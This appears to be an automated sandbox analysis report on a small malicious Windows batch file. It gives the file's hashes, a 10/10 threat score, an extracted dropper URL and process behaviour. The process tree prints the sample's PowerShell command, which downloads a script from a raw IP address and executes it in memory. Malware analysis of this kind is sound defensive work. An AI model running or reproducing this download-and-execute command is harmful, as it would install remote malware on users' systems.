ce54af523565e53dcd1273a581513a9fec0bdaef947c269bb4cc8b6b2d70c201 | Triage

Analysis

max time kernel
145s
max time network
68s
platform
windows10_x64
resource
win10v200430
submitted
04-05-2020 09:10

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General

Target

TG4Rrn07.bat
Size

196B
MD5

36415cbe52b3dbeb2af9a30c6815a0c5
SHA1

25d0489eedaaaef75455ece1a89485cca32a0a9c
SHA256

ce54af523565e53dcd1273a581513a9fec0bdaef947c269bb4cc8b6b2d70c201
SHA512

de5b0ee7eae56f9d6992c512f6a090941da641f6a7eb17ce46d4d743856d08de53886a72cda6ca87cd678aca2fe15b018093b297a0f35016370b90754bb26500

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/TG4Rrn07

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

420 3864 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 420 WerFault.exe
Token: SeBackupPrivilege 420 WerFault.exe
Token: SeDebugPrivilege 420 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe
420	WerFault.exe

Makes http(s) request 1 IoCs
Contacts server via http/https, possibly for C2 communication.

Processes:

description flow ioc

HTTP URL 2 http://www.msftconnecttest.com/connecttest.txt

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\TG4Rrn07.bat"
1⤵
PID:3756

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/TG4Rrn07');Invoke-MWPGMZMBXDRKB;Start-Sleep -s 10000"
2⤵
PID:3864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3864 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:420

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/420-0-0x00000000048A0000-0x00000000048A1000-memory.dmp

Filesize
4KB

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memory/420-2-0x0000000004ED0000-0x0000000004ED1000-memory.dmp

Filesize
4KB

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